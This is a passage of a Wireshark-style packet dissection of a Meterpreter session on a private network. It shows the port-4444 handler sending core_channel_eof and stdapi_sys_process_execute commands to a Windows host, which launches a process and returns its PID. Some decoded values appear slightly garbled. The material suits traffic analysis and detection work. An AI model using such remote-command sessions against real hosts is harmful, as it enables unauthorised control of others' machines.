    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 37383135313930323536303736363933313938313532303838... [Value] 78151902560766931981520845094976
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 70 40 00 40 06 52 66 c0 a8 01 2a c0 a8   .~dp@.@.Rf...*..
0020  01 29 11 5c c6 50 2e 7d 2f ef a3 78 c2 ad 50 18   .).\.P.}/..x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  38 31 35 31 39 30 32 35 36 30 37 36 36 39 33 31   8151902560766931
0070  39 38 31 35 32 30 38 34 35 30 39 34 39 37 36 00   981520845094976.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    146 2843.424069    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9559 Ack=7634
Win=2047 Len=86
Frame 146: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9559, Ack: 7634, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373831353139303235363037363639333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3738313531393032353630373636393331393831353230383... [Value] 78151902560766931981520845094976
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 20 40 00 80 06 69 b6 c0 a8 01 29 c0 a8   .~. @...i....)..
0020  01 2a c6 50 11 5c a3 78 c2 ad 2e 7d 30 45 50 18   .*.P.\.x...}0EP.
0030  07 ff b8 3b 00 00 00 00 00 56 00 00 00 01 00 00   ...;.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  38 31 35 31 39 30 32 35 36 30 37 36 36 39 33 31   8151902560766931
0070  39 38 31 35 32 30 38 34 35 30 39 34 39 37 36 00   981520845094976.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    147 2903.517135    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7634 Ack=9645 Win=119
Len=86
Frame 147: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7634, Ack: 9645, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023731323531333034393936353937363635... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 373132353133303439393635393736353635393336383831... [Value] 71251304996597656593688193547639
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 72 40 00 40 06 52 64 c0 a8 01 2a c0 a8   .~dr@.@.Rd...*..
0020  01 29 11 5c c6 50 2e 7d 30 45 a3 78 c3 03 50 18   .).\.P.}0E.x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  31 32 35 31 33 30 34 39 39 36 35 39 37 36 35 36   1251304996597656
0070  35 39 33 36 38 38 31 39 33 35 34 37 36 33 39 00   593688193547639.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    148 2903.518499    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9645 Ack=7720
Win=2053 Len=86
Frame 148: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9645, Ack: 7720, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002373132353133303439393635393736353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 373132353133303439393635393736353635393336383831... [Value] 712513049965976565936881935476 39
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 7e 40 00 80 06 69 58 c0 a8 01 29 c0 a8   .~.~@...iX...)..
0020  01 2a c6 50 11 5c a3 78 c3 03 2e 7d 30 9b 50 18   .*.P.\.x...}0.P.
0030  08 05 c8 66 00 00 00 00 00 56 00 00 00 01 00 00   ...f.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  31 32 35 31 33 30 34 39 39 36 35 39 37 36 35 36   1251304996597656
0070  35 39 33 36 38 38 31 39 33 35 34 37 36 33 39 00   593688193547639.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    149 2963.813087    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7720 Ack=9731 Win=119
Len=86
Frame 149: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7720, Ack: 9731, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313230353537333238353030353538343... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 313230353537333238353030353538343332373339363830... [Value] 120557328500558432739680134383 62
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 74 40 00 40 06 52 62 c0 a8 01 2a c0 a8   .~dt@.@.Rb...*..
0020  01 29 11 5c c6 50 2e 7d 30 9b a3 78 c3 59 50 18   .).\.P.}0..x.YP.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  32 30 35 35 37 33 32 38 35 30 30 35 35 38 34 33   2055732850055843
0070  32 37 33 39 36 38 30 31 33 34 33 38 33 36 32 00   273968013438362.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    150 2963.813647    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9731 Ack=7806
Win=2052 Len=86
Frame 150: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9731, Ack: 7806, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313230353537333238353030353538343... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 313230353537333238353030353538343332373339363830... [Value] 120557328500558432739680134383362
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 7f 40 00 80 06 69 57 c0 a8 01 29 c0 a8   .~..@...iW...)..
0020  01 2a c6 50 11 5c a3 78 c3 59 2e 7d 30 f1 50 18   .*.P.\.x.Y.}0.P.
0030  08 04 e1 cc 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  32 30 35 35 37 33 32 38 35 30 30 35 35 38 34 33   2055732850055843
0070  32 37 33 39 36 38 30 31 33 34 33 38 33 36 32 00   273968013438362.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    151 3024.031841    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=7806 Ack=9817 Win=119
Len=86
Frame 151: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7806, Ack: 9817, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023239343236343336353433383234333337... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32393432363433363534333832343337383839393734383434... [Value] 29426436543824378899748415414979
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 76 40 00 40 06 52 60 c0 a8 01 2a c0 a8   .~dv@.@.R`...*..
0020  01 29 11 5c c6 50 2e 7d 30 f1 a3 78 c3 af 50 18   .).\.P.}0..x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  39 34 32 36 34 33 36 35 34 33 38 32 34 33 37 38   9426436543824378
0070  38 39 39 37 34 38 34 31 35 34 31 34 39 37 39 00   899748415414979.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    152 3024.033629    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=9817 Ack=7892
Win=2052 Len=86
Frame 152: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9817, Ack: 7892, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023239343236343336353433383234333737... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32393432363433363534333832343337383839393737343834... [Value] 29426436543824378899748415414979
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 80 40 00 80 06 69 56 c0 a8 01 29 c0 a8   .~..@...iV...)..
0020  01 2a c6 50 11 5c a3 78 c3 af 2e 7d 31 47 50 18   .*.P.\.x...}1GP.
0030  08 04 b8 20 00 00 00 00 00 56 00 00 00 01 00 00   ... .....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  39 34 32 36 34 33 36 35 34 33 38 32 34 33 37 38   9426436543824378
0070  38 39 39 37 34 38 34 31 35 34 31 34 39 37 39 00   899748415414979.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    153 3067.043868    192.168.1.42          192.168.1.41          MTRPROT  168    4444 → 50768 [PSH, ACK] Seq=7892 Ack=9903 Win=119
Len=114
Frame 153: 168 bytes on wire (1344 bits), 168 bytes captured (1344 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 7892, Ack: 9903, Len: 114
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000072 [Command length]: 114
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000023000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 00000029000100023432373739343434313635323134363638... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34323737393434343136353231343638383130323637313134... [Value] 4277944416521468810267142348812 3
Meterpreter protocol, TLV details
    Data: 00000012000108fe433a50726f6772616d [TLV]
    Command: 0x00000012 [Length]: 18
    Type: 0x000108fe [Type: Request]: TLV_TYPE_PROCESS_PATH
    Data: 433a50726f6772616d00 [Value] C:Program
Meterpreter protocol, TLV details
    Data: 0000000c00020900000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020900 [Type: Request]: TLV_TYPE_PROCESS_FLAGS
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 9a 64 78 40 00 40 06 52 42 c0 a8 01 2a c0 a8   ..dx@.@.RB...*..
0020  01 29 11 5c c6 50 2e 7d 31 47 a3 78 c4 05 50 18   .).\.P.}1G.x..P.
0030  00 77 84 30 00 00 00 00 00 72 00 00 00 00 00 00   .w.0.....r......
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 34 32 37 37 39 34 34   ....)....4277944
0070  34 31 36 35 32 31 34 36 38 38 31 30 32 36 37 31   4165214688102671
0080  34 32 33 34 38 38 31 32 33 00 00 00 00 12 00 01   423488123.......
0090  08 fe 43 3a 50 72 6f 67 72 61 6d 00 00 00 00 0c   ..C:Program.....
00a0  00 02 09 00 00 00 00 00                           ........
```

```
    154 3067.054489    192.168.1.41          192.168.1.42          MTRPROT  178    50768 → 4444 [PSH, ACK] Seq=9903 Ack=8006 
Win=2052 Len=124
Frame 154: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 9903, Ack: 8006, Len: 124
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000007c [Command length]: 124
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000230001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 00000029000100023432373739343434313635323134363 8... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3432373739343434313635323134363838313032363731 34... [Value] 42779444165214688102671423488123
Meterpreter protocol, TLV details
    Data: 0000000c000208fc000019 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 00001940 [Value] 6464
Meterpreter protocol, TLV details
    Data: 00000010001002760000000000000000 [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x00100276 [Type: Response]: TLV_TYPE_PROCESS_HANDLE
    Data: 0000000000000000 [Value]
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 a4 0d 87 40 00 80 06 69 29 c0 a8 01 29 c0 a8   ....@...i)...)..
0020  01 2a c6 50 11 5c a3 78 c4 05 2e 7d 31 b9 50 18   .*.P.\.x...}1.P.
0030  08 04 73 e7 00 00 00 00 00 7c 00 00 00 01 00 00   ..s......|......
0040  00 23 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .#....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 65 78 65 63 75 74 65   _process_execute
0060  00 00 00 00 29 00 01 00 02 34 32 37 37 39 34 34   ....)....4277944
0070  34 31 36 35 32 31 34 36 38 38 31 30 32 36 37 31   4165214688102671
0080  34 32 33 34 38 38 31 32 33 00 00 00 00 0c 00 02   423488123.......
0090  08 fc 00 00 19 40 00 00 00 10 00 10 02 76 00 00   .....@.......v..
00a0  00 00 00 00 00 00 00 00 00 0c 00 02 00 04 00 00   ................
00b0  00 00                                             ..
```

```
    155 3127.228808    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=8006 Ack=10027
Win=119 Len=86
Frame 155: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8006, Ack: 10027, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363635383138303631383431303532383... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 36363538313830363138343130353238313735393130303037... [Value] 66581806184105281759100756326890
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 7a 40 00 40 06 52 5c c0 a8 01 2a c0 a8   .~dz@.@.R\...*..
0020  01 29 11 5c c6 50 2e 7d 31 b9 a3 78 c4 81 50 18   .).\.P.}1..x..P.
0030  00 77 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .w.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  36 35 38 31 38 30 36 31 38 34 31 30 35 32 38 31   6581806184105281
0070  37 35 39 31 30 30 37 35 36 33 32 36 38 39 30 00   759100756326890.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    156 3127.230526    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=10027 Ack=8092 
Win=2051 Len=86
Frame 156: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 10027, Ack: 8092, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023636353831383036313834313035323238... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3636353831383036313834313035323831373539313030037... [Value] 6658180618410528175910075632689O
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 88 40 00 80 06 69 4e c0 a8 01 29 c0 a8   .~..@...iN...)..
0020  01 2a c6 50 11 5c a3 78 c4 81 2e 7d 32 0f 50 18   .*.P.\.x...}2.P.
0030  08 03 ba a2 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  36 35 38 31 38 30 36 31 38 34 31 30 35 32 38 31   6581806184105281
0070  37 35 39 31 30 30 37 35 36 33 32 36 38 39 30 00   759100756326890.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    157 3155.819318    192.168.1.42          192.168.1.41          MTRPROT  202    4444 → 50768 [PSH, ACK] Seq=8092 Ack=10113
Win=119 Len=148
Frame 157: 202 bytes on wire (1616 bits), 202 bytes captured (1616 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 8092, Ack: 10113, Len: 148
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000094 [Command length]: 148
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000230001000173746461706 95f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000023 [Length]: 35
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
    Data: 0000002900010002313231353030383039303533383535... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3132313530303830393035333835353539343634333333335... [Value] 121500809053855594643335752857 97
Meterpreter protocol, TLV details
